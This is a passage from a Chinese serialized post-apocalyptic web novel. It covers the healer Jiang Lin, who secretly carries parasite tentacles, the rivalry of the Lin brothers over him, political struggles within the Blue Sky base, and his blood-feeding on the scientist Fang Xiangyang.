“一点热,没有发烧。”林铭瑄只是摸了一下,又松开,面色如常地说道。 所有人都觉得没什么问题,只有江林越发沉默,低着头狂吃。 隗绍在对面蛇瞳都扩大了一瞬,一下盯着江林红透的耳尖,心中对于他的伪装表示震惊,这他妈还是那一句话说得不对就会拿触手抽人的江林吗? 他的视线一下又看向林铭瑄,眼底有他自己都没意识到的嫉妒和不甘,林铭瑄察觉到他的打量,却不甚在意,也没有任何的回复。 江林喝了一口水,刚想说些什么,便听见人群中传来喧哗的声音,一声爆喝之后,灯光一闪,听见了雷霆之声。 江林被林铭瑄拉着躲闪,旁边的雷系异能者直接让桌子破裂,木屑四散,众人躲避,空出一个圆圈。 穿着同样红色系军装的陇西基地驰援军,此刻正在和一个年轻的队员对峙。 领头的队长是一个胡子拉碴的男人。 “队长,你干什么?”年轻队员脸色大变,手臂出现被灼烧的伤口。 “别喊我队长,你这鬼东西!” “你把夏诺吃掉了?!” “队长,我就是夏诺啊,你在说什么啊。” 寄生者不到最后依旧在争辩,直到夏诺被杀死,从他的身体皮囊中爬出细黑的寄生物,缓缓汇聚成了一团不明形状的东西。 它能随意变化,像液体般要从地下通道逃走,但这么多异能者围追堵截,它插翅难逃,最后将这个鬼东西焚烧殆尽。 接着又揪出两个,都是一样的下场。 江林还记得这个夏诺,在今天之前,两人曾并肩作战,一起围剿过变异兽,现在却死在他眼前。 一时间人心惶惶,有人眼圈泛红,有人满眼怀疑,有人悄悄后退两步,似乎有些害怕身边的人。 “队长,如果我有一天变成这样你也会毫不犹豫地杀死我吧?”江林突然开口,语气有些感慨。 “你不会。”林铭瑄一直都有观察江林,他并没有任何异常的举动,这些东西暴露,是因为它们杀了人,吃了人。 “我说如果呢?”江林坚持问。 “我会动手,被寄生之后就不再是江林。”林铭瑄定睛看着他:“杀掉那个寄生物,给你报仇。” 江林唇角扯起一点笑,只是道:“好。” 仅此一遭,寄生者的消息藏不住,也是第一次这么清楚地发现原来某些东西已经侵入人群这样多,这样深。 一时间,很多人互相扣帽子,但没有切实的证据 江林和林铭瑄带着死伤了五分之一的异能者回到了蓝天基地,林政钰亲自迎接,彼时蓝天基地的前基地长家世龙已经因“病”去世。 林政钰和蓝天基地二把手伊朗打得火热。 林政钰有林家的支持,有林铭瑄这个军部的弟弟。 但是伊朗也有不弱的家世,在军部也有人,只是比林铭瑄稍逊一筹。他还有一个优势,是异能者。 在末世,一个优秀的领导者,也是需要强悍的体魄。 林政钰想要赢并不容易。 将近一个月的时间,林政钰似乎憔悴了不少,脸上带着淡淡的笑容,视线在众人身上一一滑过,江林一直垂着头似乎在回避他的视线。 每个人脸上都有疲惫,风尘仆仆。 “铭瑄,母亲让你回家一趟。”林政钰心中涌起一丝疑惑,若是平时江林定会用那种水亮亮的眼神盯着他瞧,宛如海中的精灵。 现在他在回避自己的视线? 这一趟发生了什么? 林铭瑄稍稍点了点头:“行。” 江林挺直脊背站在他身后,手抓着自己的长枪,视线很虚,没有落在实处,虽然能感觉到林政钰那轻飘飘又沉甸甸的视线反复落在他身上,他却像是毫无察觉般无动于衷。 林政钰又慰问了几句,许下很多好处,便让他们先行离开,江林也跟着人群离开。 林家兄弟俩站在原地,静静地看着江林离开的背影。 林铭瑄看向林政钰的表情,见他笑容温和,嘴角弧度极淡,心中轻轻微嘲,他了解林政钰,知道他这是不开心了。 “辛苦了,铭瑄。这一趟很累吧。”林政钰收回目光,唇角弯了弯,眼底没什么笑意。 “没有你累。”林铭瑄轻笑一声,“现在都需要伪装得这么沧桑来博取同情吗?” 至于博取谁的同情,两人都心知肚明。 “看来你知道了江林对我的心思。”林政钰和他并肩走过拱门,似乎并不意外。 “既然这样,铭瑄你又要伤心了,江林的心思明眼人都看得出来,何必要和哥哥争呢?” 林铭瑄被这语气弄得有些冒火,好似江林是个什么物件吗?争抢就能得到? “你这么清楚他的想法,那你的呢?”林铭瑄语气有些发沉。 “什么?”林政钰唇角笑意淡了些,黑眸折射出冰冷的神情。 “你对江林。”林铭瑄重复。 林政钰却避而不谈,“重要吗?” “你把他当工具。”林铭瑄肯定地说道:“你不光将他当作工具,爸妈和我也是你争权的工具。” “怎么会?你们是我最亲的人。”林政钰没什么起伏地否认,自始至终他眼神中都没有多少对亲情或者爱情的温情。 林铭瑄和林政钰在路口分开,分别进了不同的车。 林政钰坐在车内,助理小跑着过来,脸上冷汗直流,声音有些害怕:“江医生说他受伤了,要先回去养伤” 他被派去接江林,结果江林居然拒绝了,虽然很委婉,但确确实实是拒绝了。 明明前些时候还好好的。 林政钰闻言,眼轻轻抬起,唇角弯起冰冷的弧度,看得助理脊背发毛,无声的威压让人手脚发麻。 “行,上车吧。”林政钰收回视线,眼神晦暗不明,脑海中闪过林铭瑄和江林刚刚的表现,隐隐有些不好的预感出现。 林政钰眼前闪过林铭瑄的脸,忍不住轻笑一声,低声呢喃着:“难怪这么自信,是有后手啊。” “停车。” 车迅速停下。 “你去……告诉江林我受伤了。” 林政钰看向副驾驶上的助理。 助理麻溜打开车门,往江林家的方向跑去。 “先回行政大厦。”林政钰没有继续在原地等待,以他对江林的了解,他不会不来,也不会“见死不救”。 第64章 当助理再次来找江林的时候, 他正和隗绍走在一起,助理欲言又止地跑过来,视线扫过隗绍。 石子铺成的小路, 原本庞大整齐的队伍四散归家,江林没有让助理为难, 用眼神让隗绍先离开,自己留下来。 “江医生,林部长受伤了, 让您给去治治。”助理声音压得低,眼神带着恳求之色。 江林睫毛在眼睑洒下阴影, 唇角抿住,表情有些失落,虽有担心最终还是轻叹道:“我的异能还未恢复,部长这么多私人医生,我就不去凑热闹了。” 既然拒绝了一次,就要拒绝到底, 半途而废算什么。 助理表情顿时如同热锅上的蚂蚁, “但您是不一样的” “你回去吧, 我要先回家了。”江林露出纠结的神情,偏头躲开他的视线:“抱歉, 今天真的不行。” 江医生今天格外地绝情, 留下助理震惊在原地,从前江医生从不会拒绝的,就算等上一整天也没有半点怨言, 让他一度认为江林是个痴情又心软的人。 隗绍站在不远处等着他,瞧见他脸上还未散去的变扭愧疚,意味不明地冷哼一声:“你也不怕阴沟里翻船。” “林政钰、林铭瑄、李野行还有家里像死人一样的方向阳, 江林你真会惹事啊。” 江林抹了抹眼尾的湿润,颇为冷淡的表情,却缓缓勾起一点嘲弄的笑意:“都是为了你啊,没有我帮你,你觉得真的能行吗?” 隗绍听前半句话心中荡漾了一瞬,后面的话让他面如黑炭,“你别得意” “快走吧,饿死了,回家吃饭。”江林没和他做过多的争辩。 江林快步回家,石欢扎着马尾辫,露出青春靓丽的脸,听见声音和弟弟石林从厨房跑出来,盯着江林瞧,扯着他的手臂:“没受伤吧,江林哥哥?” “手腕这里怎么回事?被咬了?” “脸色这么怎么这么白啊” 江林身边的嘘寒问暖,隗绍这边无人问津,他有时候忍不住想问,做人做事他比江林差哪儿了? 八面玲珑、长袖善舞的人是他啊。 石欢姐弟煲了汤,准备了一桌子菜给江林接风洗尘,倒是让人生出一点温暖的错觉。 江林的离开和归家,似乎没有给方向阳的生活轨迹造成什么其他的影响,他依旧晚上八点多才回到家,彼时江林刚刚洗完澡,出来接热水。 方向阳关门的动作稍顿,鼻梁上的无框眼镜,灰色的瞳孔静静地看着他。 江林主动凑到他身前,脸上的笑容深了深,身上席卷着芬芳的茉莉淡香,手臂搭着他的手臂,双眼弯弯,像是看见了喜爱的食物:“博士,最近有没有想我?” 一个月没在家,方向阳依旧是一成不变的表情和模样。 方向阳轻轻拿开他的手,他手上有酒精:“出去一趟,身体感觉怎么样?” 江林喝了一口蜜蜂糖水,双眼亮晶晶的,半点不见之前的疲色:“博士自己看。” “我洗个澡,你先下去等我。”方向阳面色冷静,率先回到自己的房间,换上家居服之后,又披上白大褂。 “你还没吃晚饭吧,给你留了汤。”江林坐在他的椅子上,伴随着地下实验室的大门合上,他的触手像是得到舒展般,一点点在空间筑巢,毫不犹豫地占据。 他微晃着身体,桌上摆放着热腾腾的饭菜。 如果平时江林没在,是不会有人主动给他留饭的,他和石欢姐弟的关系并不亲密,毕竟像他这种性格的人,其实很难靠近。 “我喝了营养液。”方向阳并未感受到饥饿,营养液能够补充身体所需要的能量,但现阶段的营养液还无法完全取代饭菜,还有许多弊端。 “你不吃的话,浪费了。”江林湿腻的触手在烧杯上滑过浅浅的痕迹,拿着烧杯放在方向阳头顶,然后被他毫不留情地拿了下来。 方向阳不准备和江林继续墨迹,仰头喝完汤,随便几口嚼了饭菜,囫囵吞枣地咽下。 江林趴在试验台上看着他,慢慢悠悠说着这次的经历:“我发现人类对我的吸引力越来越高了,有时候恍惚间,我很想用触手杀掉你们” 方向阳任由触手缠住他的脖颈,那熟悉久违的触感,后颈一痛,持续性的痛苦传来,脊骨传来密密麻麻的刺痛,脸色逐渐泛白 江林蓝色瞳孔微微眯起,深色触手在胡乱地甩动着,空气传来阵阵劲风,倒也知道这些仪器来之不易,没有故意弄坏。 很久没有饲养他的小怪物,江林像是饿惨了,没有节制。 他有些站不稳,单膝跪在地上,视线中江林的毛拖鞋朝着他靠近,江林缓缓蹲下,抓着他的头发,露出那双毫无温度的蓝眸。 江林将注射器的针头毫不犹豫地扎进方向阳的胳膊,补血剂注入他的身体,方向阳感觉自己的身体被破坏和重组,喘着气,眼镜摔在地上,不小心被触手碾碎。 江林凑上前,抱着虚弱的博士,他红润的脸颊、唇角泛起的餍足笑容都和方向阳此刻的模样反差极大。 “博士忍一忍,我要饿死啦。”江林眉眼间是天真的残忍,动作柔软,唇轻轻贴上方向阳的。 方向阳唇角微微蠕动,从前他是没有这种习惯的,抬起手抓住他的手臂,主动轻抿着江林饱满的唇瓣。 “呃!”他双眼微微睁开,对上江林弯弯的眼瞳,脖子上又被扎入注射器,又是一管满满当当的补血剂。 地上散落的注射器,已经是五个支了。 方向阳的血管都感觉要撑爆,随着心跳搏动得越来越快,让他产生了一种下一秒身体就会爆裂的错觉,人体极限是两支 这是他养的恶花。 江林眼底闪烁着泪花,身后生出的触手令人心惊,明亮的灯光,洁白的墙壁,他拥抱着眼前的人类,声音在他耳畔呢喃:“博士,会后悔纵容我‘吃掉’你吗?” 方向阳某种程度上来说真的很强,就算这样脑袋还是保持极度的清醒,大脑在不断运转,回答的声音却有些虚:“为什么会后悔?” 没有江林,多种病毒净化药剂不会成功,变异物诱导剂不会有任何进展 而且江林是唯一一个不会被寄生意识影响的生物,完美的实验体。 江林也给过他为数不多、微不足道的暖意,这些很小的星光,一点点一点点在发光汇聚,直到让方向阳无法忽视。 “博士”江林低头在他唇角浅浅地问,就这些暧昧的动作而言,仿佛缠绵悱恻的爱人,但实则是差点被害死的饲养关系。 “这次任务很多寄生物被发现好像引起了更多人的重视,现在没有更好的方法确定寄生者的身份,但是我知道博士正在研究让寄生物从寄生体中剥离的药剂是吗?” 原书中就是方向阳研究出的试剂,能够不杀人,检测出身边的寄生者。 但这些七八年之后的事情了。 现在方向阳才开始着手研究。 “你想让我停止?”方向阳声音有些发抖,身体疼的。 “不。”江林摇了摇头,摸着他的脸,眼神似乎有些动容:“你必须研究出来,成为联邦首席研究员,很多像我一样的寄生物都在杀人你应该要研究出来的。” “只是我可能也会杀死。” “博士你会难过吗?会为我流泪吗?” 方向阳听清楚了他的话,心中生出疑惑。 会难过吗?会流泪吗? 他从来没有为谁哭过,除非是控制不住的生理眼泪,痛到极致无法控制五感,就算眼泪流下来也不知道。 像是因为难过而流泪,还真的没有过。 “不知道。”方向阳认真地回答,坚强地站起身,触手消失不见,身上的束缚感消失,他洗了一把脸。 江林跟在他身后,环住他的背,脸贴在他肩膀上:“离开了你,谁还会这么纵容我。” 方向阳握住他的手腕,缓了缓身体的难受,牵着他坐好,弯腰从保险柜里拿出一摞资料,捡起细碎的眼镜放在一旁:“你的触手不能再生长了。” “为什么?”江林拧了下眉,有些不乐意。 “触手的增多对于你的身体和精神力都是极大的负荷,现在你的精神力能够承受和压制。但触手生长太快,很快就会导致你的精神力超负荷而崩溃,你的身体各项指标都在表明,触手的增多,你的四肢都有退化现象” 江林漫不经心听着,他知道虽然抹杀寄生物的意识,但留下的影响是无法磨灭的,两者不可能真的平安无事地共存。 但江林没有回头路可以走,就算斩断所有触手,还是会有源源不断的触手生长 留给他的时间不太多了。 “我给你准备了抑制生长激素,你明天到研究所来找我。” “好,我都听博士的。”江林笑吟吟地回答,不甚在意的模样:“我上次吸了一点隗绍的血,他这个寄生者的血没有博士美味。” “我这次和林铭瑄睡了。” 江林一向对方向阳毫无隐瞒,像个不谙世事的少年,面上都是白纸般的不染尘埃,越是纯洁,越是让人神魂荡漾。 “我想和博士试试,不止接吻。” 话题转变得太快,方向阳的笔在纸上划出一道很短的痕迹,他眼都没抬,语气平淡:“我对于这项运动不感兴趣。” “是吗?”江林努了努嘴,也不强求 林铭瑄在林家老宅吃饭,林家父母健在,正在蓝天基地养老,父母都是异能者,富态健康,他们的生活并没有因为环境而改变太多。 他到了半夜才离开,喝了些酒,从小跟着他长大的管家坐在副驾驶上,转头低声道:“听说大少爷今晚把房间一尊玉雕给砸了,也不知道谁惹着他了。” 林铭瑄揉了揉眉心,心中隐隐有猜测,但并不确定,长长呼出一口浊气。 这次回来的主要话题也很简单,哥哥想掌权,爸妈希望他这个弟弟鼎力支持,拿到军部部长这个职务。 林铭瑄这个特调队长的含金量很高,特调小队不隶属于军部,独立于军部,但特调小队的人都是军队中或者异能者中佼佼者的存在。 现在军部想要收编特调小队,最少要给林铭瑄一个副部的职位。 但军部另外一个副部长就是伊朗的表叔,正部长李小荔则是表示中立。 这下真的乱成一锅粥了。 林铭瑄知道自己不可能置身事外,只是觉得身心俱疲,宁愿出任务也不愿意管这些糟心事儿。 他脑海中闪过江林的脸,红扑扑的脸颊,汗水蹭在他肌肤上,充满爱欲的眸子,给予他疼痛交加,欲生欲死的刺激和感受,但他没能好好感受就结束了 林铭瑄想到他的身体,他的脸,他软乎乎的眼神,喉结紧了紧,“去江林家。” “现在吗?”司机不确定地问。 “没事,回家吧。”林铭瑄冷静下来,转了口风 江林躲得过初一,躲不过十五,林政钰如果想,总有一百种方法让两人碰面。 “曾队长邀请林队长去练兵了,车程就有半个小时,江林你先去招待一下部长,看看他有什么新的指示?” 江林在特调小队中的地位,只高不低,且因为他和林家兄弟那层关系,所以他们都下意识地让江林上前交涉。 “好。”江林只能硬着头皮进了队长办公室,独立的小房间,窗户拉得密不透风,门口站着俩严肃的保镖。 隗绍见状拳头捏紧又松开。 林政钰坐在林铭瑄的椅子上,从江林出现视线便一直落在他脸上,唇角含着笑,声音温和:“江林,好久不见你了,你不想我吗?” 江林耳根瞬间变红了,挪动的脚步越发慢起来。 林政钰站起身,主动走到他身边,抬手要去抓他的手,被江林躲开。 “部长。”江林低着头,舔了舔唇,小声开口:“队长去了曾队的第三军那边,有什么事情” “我就是知道他没在才来的。”林政钰眼神微闪,眼眸中出现一丝凉意,他一字一句、沉稳温柔:“我是来特意找你的。” 若是某个拎不清的恋爱脑,真的会被林政钰玩得团团转,首先他强大的背景便给了他一个巨大的光环,身为北部最强四大基地的二把手,未来的基地长。 待人温柔礼貌,克制疏离。 对你,冒着‘身败名裂’的风险你私会,和你保持暧昧的关系,正人君子的林政钰被你拉下神坛,你还不爱吗? 碰上不理智的,就光脑补就颅内高潮了。 “找我,干什么”江林视线有些飘忽。 “江林你在躲我吗?”林政钰叹气,语气带着失落:“我以为你回到基地最想见的人应该是我,所以我特意去接你” “但你头也不回地走掉了。” “发生了什么?让你变得这么无情,江林。” 江林被他连番的轰炸弄得眼眶发红,对上林政钰的眼睛,眸中水蓝的底色氤氲着伤心,声音有些哽咽:“算了吧,部长,我会给你带来很多麻烦,我不想在这么下去了” “不会,你不要这么想,江林。”林政钰伸手摸了摸他的脸颊,企图唤起两人之间的点点温情:“之前我们不是还好好的吗?你那么努力站在我面前……都要放弃了吗?” 江林眨了眨眼,眼尾都湿润了,躲开他的手:“算了我都不要了,我觉得好累。” “我对不起你,对不起很多人末世了,我不该想这些的,现在说这些情情爱爱,显得好自私,我只想尽我所能保护基地” 江林的推辞拒绝,让林政钰眸色又沉了些。 林政钰眉眼间的笑意维持不住,眸色沉沉,“你确定吗?” 江林垂下脑袋,空中仿佛有泪珠闪过,他咬了咬唇,嗯了一声。 林政钰缓了缓心中冒出的火气,一直被追捧惯了,也不想卑微求和,忍着不爽,微笑道:“江医生以后也不必躲着我,爱人做不成了,你还是我的朋友。” 说完这话,便没等江林的回答,面色微沉地离开了。 江林等人离开,才抹了抹脸颊上的眼泪,想到林政钰那气急败坏也要强行忍耐的样子有些好笑。 林铭瑄听到林政钰莅临的消息,从三部赶回来,在训练室正巧瞧见江林走神,被来不及收拳的队友一拳砸在脸上,结结实实一拳,对手是力量型异能者,顿时将人打翻在地上。 对手也慌了,连忙扶起他:“我靠,江林,你要不要紧?你刚刚怎么不躲” 江林被打得头晕眼花,唇角出血,强忍难受道:“没事,我刚刚没注意” 他眼睛里还在冒金星,脚软又要倒下,被人从身后托住。江林顺势靠在林铭瑄的手臂,下巴被人捏起来,查看那红肿的唇角,冒着血珠,整个人都被打蒙的状态。 “啊,队长,我不是故意的”力量型异能者被林铭瑄一脚踹过去,后退两步,委屈地说道。 “你要是把江林给打傻了,异能用不了了,你看医院找江林求医的病患知道了会不会揍死你。”林铭瑄冷着脸说道,指腹摩梭了他的唇角,“平时让你训练,你说你要养精蓄锐养精蓄锐来打队友?” “错了,错了,哥,别骂了,我现在就给江医生带去检查伤,保证他健健康康的。” “滚一边去。”林铭瑄半抱着江林,躲开他伸过来的手。 江林扯了扯他的手指,“真是我自己不小心的。” 他有些不好意思地朝着队友笑了笑,然后扯到了伤口,顿时又疼得抽气。 牙齿都像是被他打松几颗。 林铭瑄拧着眉,低头看了看他的牙齿,整齐的牙齿,冒着血丝,看起来伤得不轻,他转身准备领着江林离开。 这间训练室的窗户是透明的,林政钰一行人正站在训练室外看,从刚刚众人的角度,两人拥抱在一起,动作亲密。 江林视线恢复清晰的下一秒,就直直对上了林政钰那双似笑非笑的眸子,黑沉得可怕的瞳孔,他下意识地要躲开林铭瑄的搀扶,但手臂上的手臂如铁钳似的抓着他。 林铭瑄不闪不躲地朝着他看去,扶着他朝着林政钰走去。 “林队长和江医生的感情一向不错,这次任务更是守望相助,在困难中相互搀扶,战友情难能可贵”林政钰旁边的某个大肚男是宣传部的,平时只闻两人大名,从未见过他们。 现在这番话,几乎将三人放在火上烤,明眼人都回避他的话题和视线,让他孤立无援,他察觉到不对,又默默闭了嘴。 一向好说话的林政钰部长也不搭话了。 “哥。”林铭瑄手搭在江林腰上,身躯半搂着他。 江林现在根本不需要别人的搀扶,能够独立行走,但林铭瑄根本不给他机会。 “这么快就回来了?”林政钰笑了笑,“有什么火烧眉毛的事情需要你火急火燎地赶回来啊?” “怕手下的人太笨,照顾不周。”林铭瑄察觉到江林的不情愿和暗暗挣扎,只能松开手。 江林可不想继续留下,“我去一趟医务室,队长你不用管我。” 这话说完,他转身离开,脚步都有些踉跄,见他受伤,倒也没有人说什么。 林铭瑄便跟在林政钰身边,听他交代之后的一些琐事,顺便去逛了一圈李小荔的办公室,大概率是来找军部一把手李小荔谈合作的,其他人都是幌子。 事情结束后,林政钰邀请林铭瑄共进晚餐,林队长给面答应,回了林政钰家中,安排好了酒菜。 林政钰像一个兄长般,先询问了一些他工作上的事宜,随后画风一转回到了江林身上。 “铭瑄,这一趟你和江林发生了什么?” 林政钰虽然手眼通天,但也没有能力在两人床底下安装监视器。 “你不会想知道。”林铭瑄和谁说话都不卑不亢,偏生对林政钰总是语气不善。 林政钰给他倒了一杯红酒,他轻轻摇晃着酒杯,宠溺包容一笑:“从小到大,我想要的东西你从来抢不过。” 见他这般威风模样,林铭瑄也不瞒了。 “我和江林上床了,也表白了。”林铭瑄面色如常的开口,没有动筷子,也没有动酒杯,站起身来,居高临下地看着林政钰:“以江林的性格,你们之间不可能的。” “我是他敬爱的队长,你是我的亲哥哥,不论于情于理,他都只会疏远你。” 江林从前装作不知他的喜欢,就是想维持平衡,现在平衡维持不住,江林只会选择离开,不会选择伤害任何一个人。 他不会背着良心插林铭瑄的刀,其中也有林政钰的摇摆不定的态度让江林觉得自己拖累了他。 所以忍痛做下这个决定。 林政钰千算万算,没算到他的好弟弟,一向光明磊落的林铭瑄,居然用上了这种阴损的招:“你明知道我们之间的暧昧,你还上赶着当小三?” “林铭瑄,你真的让我重新认识了你。” 林铭瑄咬了咬牙,反驳道:“哥,你们在一起了吗?我算谁的小三?” 林政钰笑了,笑意未达眼底:“你滚吧,像个摇尾乞怜的哈巴狗……把我们林家的脸都丢光了。” “你说什么?”林铭瑄朝他靠近几分,便被保镖按住了肩膀,他不认为自己哪里丢脸了。 “守好你在他心中那一星半点的队长位置,虽然不干净的东西我不喜欢,但是我的东西就算烂在我手里,也不可能让给别人。” 要问林政钰谁给他的信心,当然是之前‘热烈’追求他的江林,自认为的偏爱,让他有恃无恐,认为只要勾勾手指就能手到擒来。 林铭瑄的脸上很难看,第一次情绪失控地拿起酒瓶狠狠砸在地上。 “好,我等着看你有什么高明的手段。” 第65章 “江林以你的能力, 在特调小队当个队医也太埋没了,如果你愿意的话,我可以让自己独立带领一支队伍, 不需要屈居人下。” 江林低眉顺眼地坐在男人身前,眼前是穿着军装的男生, 利落的寸头,他便是伊朗。 正和林政钰撕得火热的男人。 江林的能力特殊,人缘极佳, 人脉也广,他暗地里拉拢过江林, 都被他搪塞过去,这是第一次他正大光明地撬墙脚。 毕竟一把手死了之后,他们也没了顾忌。 再加上联邦从上头派人下来,说是考察基地、主持大局,实则是想拿下蓝天基地的控制大权。 但没那么容易,这些大基地内部如同铁桶般, 不是一句话就能改变的, 他们会让联邦下放的长官有去无回, 所以这次打出的旗号是调解合作。 “谢谢您的好意,但我的确能力不够, 不足以独当一面, 现在这个位置对于我来说挺合适的。”江林当然不会主动冒头去掺和党派斗争,礼貌拒绝之后,找借口离开。 至于伊朗会不会恼羞成怒, 那就另说了。 “怎么?又找你了?”林铭瑄刚刚训练完,头发都汗湿了,和他陪练的几人也都瘫倒在地上。 江林换好训练服, 经他这么一问,无声笑了笑:“只是找我看病而已。” “哈哈哈,一个月三次,这是病入膏肓了?”江林虽然好脾气帮忙遮掩,但其他队员丝毫不惯着,嘻嘻笑笑地便开始嘲讽了。 “不过我们肯定是支持队长他哥啊,他怎么想的?” “不过这些我们也说了不算,不知道在争什么” 江林静静听着淡笑不语,林铭瑄朝着他看去,扬了扬眉:“来练练?” “来了。”江林稍稍点头。 林铭瑄的近身战斗能力很强,是从小练到大的成果,几乎毫无弱点,再加上身体的进化,在整个蓝天基地也很难找到两个能与之匹敌的。 原书中林铭瑄是蓝天‘战神’,李野行也是近战无敌、单挑最强,他们两个从前没有机会对上,江林还挺想知道谁比较厉害 江林的身手可以说是林铭瑄一手调教出来的,弱点在哪,强势在哪,一清二楚。 林铭瑄反手擒住他的手臂,抬脚将人压住,长腿跨在江林身上,整个人都骑在他背上。 “队长,你把我当变异兽打呢?”江林手臂被擒住,转头看向背上的林铭瑄,没好气地说道。 “你习惯心慈手软永远也赢不了把我当成你敌人。”林铭瑄松开他的手臂,站起身来,没有半点玩笑的成分。 江林翻身,躺在地上,弯了弯眸子:“赢不了你不是很正常吗?” “起来。”林铭瑄眉梢微动,这话让他眉头扩展,唇角几不可察地泛起一丝弧度:“地上脏。” 江林一个鲤鱼打挺站起来,迅雷不及掩耳的朝着林铭瑄攻击而去,拳头擦着他的肩膀而过,手腕被林铭瑄抓住,下一秒一个过肩摔,江林又摔在地上。 “我靠!”江林刚刚明明防备着他这一招的,但是防不胜防,还是被他掐住了弱点。 找林铭瑄陪练就需要大心脏,因为你根本毫无还手之力,非常地打击人自信心。 “手不够快!” “脚要往上踹。” “脑袋往旁边躲,刚刚如果不是我收了力道,你大概会被打成脑震荡” 围观的队友看得津津有味,还带点评的:“不是江林刚刚那个飞踢漂亮啊,就差一点就能踹到队长的大脑门了。” “嘶嘶,队长也是半点没放水啊,江医生都被打麻了,表情越来越麻木了哈哈哈。” “看到江医生也是这样的待遇,被虐的心里好受多了。” “你还好受多了,你没瞧见队长虽然看着凶,但没一招是打在江医生身上用力了,你再看看你鼻子都被打歪了,还觉得舒坦吗?” “不舒坦了。” 江林用尽全力,双腿卡住林铭瑄的脖子,用力地咬牙切齿。两人在空中旋转一圈,双双摔在地上,下一秒,他脚踝被人迅速掰开,林铭瑄压住他的腿,欺身而上,坐在他胯上,按住他的肩膀 江林头发凌乱,齐耳的短发散在地上,那原本代表着爱情的长发被他忍痛剪掉,额前的白发沾湿,稀稀落落地散落在眼前,视线有一瞬间的炫目,停顿两秒,他才看清楚坐在他腰上的林铭瑄。 两人目光对上,林铭瑄脸上也全是汗,因为运动泛红的脸,目光直勾勾盯着江林,江林从他视线中读懂某些讯息,脑海中闪过一些模糊又清晰的画面。 然后江林就感觉林铭瑄状似无意的蹭了一下他,他顿时睁大了双眼,开口道:“等下” “卧槽?!” 从外面走进来的队员,瞧见着刺激又夺人眼球的一幕,虽然知道两人不至于大庭广众之下做出出格的事情,但就此刻的动作来说,太过暧昧了些。 谁见过他们队长打架打着坐到人家垮上的? 简直倒反天罡。 林铭瑄没有停顿,干脆利落地起身,江林惊愕的表情还未散去,就被林铭瑄拉起手臂,整个人被拽了起来,仿佛刚刚故意蹭他的动作是错觉。 “去洗一下?”林铭瑄没什么异常表情地开口。 江林还有些晕乎乎的,视线回避:“你先去,我缓一缓,再找人练一练。” 林铭瑄知道他现在还处于龟缩状态,倒也不强求。 这样的“摩擦”后来也发生了很多次,不小心抓手,不小心拥抱,不小心地肢体接触 直到江林被调到林政钰身边当私人医生。 林政钰下手极快,前脚林铭瑄出了基地做任务,后脚江林便被调到了林政钰身边。 前一位私人医生出了意外,被感染了,差点咬伤林政钰。 林政钰躺在病床上,多日高烧不退,手臂上是被咬出的狰狞伤疤,正在腐烂生疮。 江林见状,心疼不已,动用异能给他治疗,他当然知道林政钰这些都是苦肉计,这么偌大一个蓝天基地,各种异能者都不少。 “我还以为你会拒绝我呢。”林政钰清俊的面容有些苍白,眼神凄凄地看着他。 “你再拖下去,可能会发生病变,怎么能拿自己的身体开玩笑?”江林死死抿着唇,手指都在发颤,语气中带着劫后余生。 “我不懂这些。”林政钰回答。 就算林政钰不懂,他身边这么多人,也是白痴吗? 林政钰给自己打了抑制血清,不会真的病变。 江林当然知道这是针对他的苦肉计,但是他没有拒绝私人医生这份工作。 林政钰看着自己手臂的伤肉眼可见的速度愈合,目光倏然停顿在他剪短的发丝上,这么久,他才注意到这个细节,唇角稍稍一顿,扬起的弧度生生顿住。 以他的聪明无须再自取其辱多问什么。 江林并未在医学院毕业,算是一个半路子医生,林政钰身边还有其他私人医生。 他只是负责用异能治疗,他的高烧不退,还是需要正规医生解决。 “小江以后住在我这里好不好?”林政钰躺在床上,整个人透着一种非常虚弱的即视感。 江林眼底流露出的心疼,让林政钰心底稍安,但下一秒又被打入地狱,他拒绝了:“不了,我有时间还是会去训练,部长您有需要可以随时叫我回来。” 林政钰见他退了一步,倒是没有再得寸进尺,只是深深看了他一眼,江林漂亮清澈的蓝眸一如既往地柔软温和,最后也是等林政钰睡着才离开。 江林正是成为林政钰身边的私人医生,不再隶属于林铭瑄的特调小队,也是在这个过程中,特调小队正式被军部收编。 名义上还是叫特调小队,但在军部更多人会叫他们第六军。 林铭瑄也成为军部副部长之一。 这一切都是在林铭瑄没在基地的时候进行的 天气逐渐变暖,夜深露重,江林匆匆走出训练室,身上的衣服都是临时换上的,林政钰的助理和他说,他受伤了。 江林和林政钰见面的次数更频繁了,一星期都能见上三四回,正大光明地见,不再像从前那么偷偷摸摸。 他进入林政钰的别墅,四周寂静,他站在玄关处脱了鞋,环视一周,并未看见其他人,只有背对着他坐着的白色身影。 江林缓了缓因为疾走而不稳的呼吸,桌上摆放着几个酒瓶,林政钰正在看书,穿着丝绸睡衣,并没有受伤的模样。 “他们说你受伤了。”江林深吸一口气,走到他身后,低声开口。 林政钰听见了他的脚步声,转头看过去,他穿着最普通的训练服,蓝灰色外套,非常朴素简单,却难掩他的俊美。 “我不这么说,你都不会来看我。”林政钰语气很失落。 江林视线扫过他的穿着,睡衣扣子故意没扣好,v领深陷,露出若隐若现的胸肌,微微弯腰便能窥见衣内的景色。 非常显而易见的□□。 “”江林垂下眼睫,对于他给自己倒酒的行为,有些失望地开口:“部长忘记了吗?我酒精过敏。” 像林政钰这样的人,常常看人一眼便能分析出这人的性格,按照道理来说和江林相处这么多次,而且都是在宴会上,不该忘记这些的。 但也许因为江林的纵容,导致他并未把江林的所有放在心上。 连这个人尽皆知的习惯都没记住。 林政钰倒酒的动作没停,抬眼看着他:“我喝。” 江林又道:“你的身体不宜饮酒。” “没关系,我想喝。”林政钰今天似乎格外任性,喉结滚动,一大杯酒下肚。 他的眼圈有些红:“我什么都留不住,什么都办不好” 都说男人三分醉,演得你流泪。 这话真的不假,他一杯杯酒下肚,情绪也越来越低落,最终江林心软抓住他的手,不让他继续喝。 “够了。”江林阻止他的动作:“再喝下去,你要醉了。” 林政钰那双眼和林铭瑄是最像的,也是最不像的,林政钰温柔矜冷,林铭瑄沉稳坚毅,现在更是流露出令人动容的悲伤。 “你还会在乎我喝不喝醉?你不是已经有了铭瑄吗?”林政钰放下酒杯,借着酒意,拽住他的手腕,“你为他抛弃我了。” “不是因为他”江林抓住他的手,控制住他的身体,不让他往自己身上再靠:“我这些天想了很多,我知道你不喜欢我” 林政钰张嘴就要反驳,但被江林抢先打断,继续道:“你看如果你想见我,其实轻而易举,你可以让我当你的私人医生,随时见面,而不是像从前那样,一年都没有我们现在一星期独处的时间多。只是因为你从前不想见我而已,你嫌弃我是男人,我知道。” 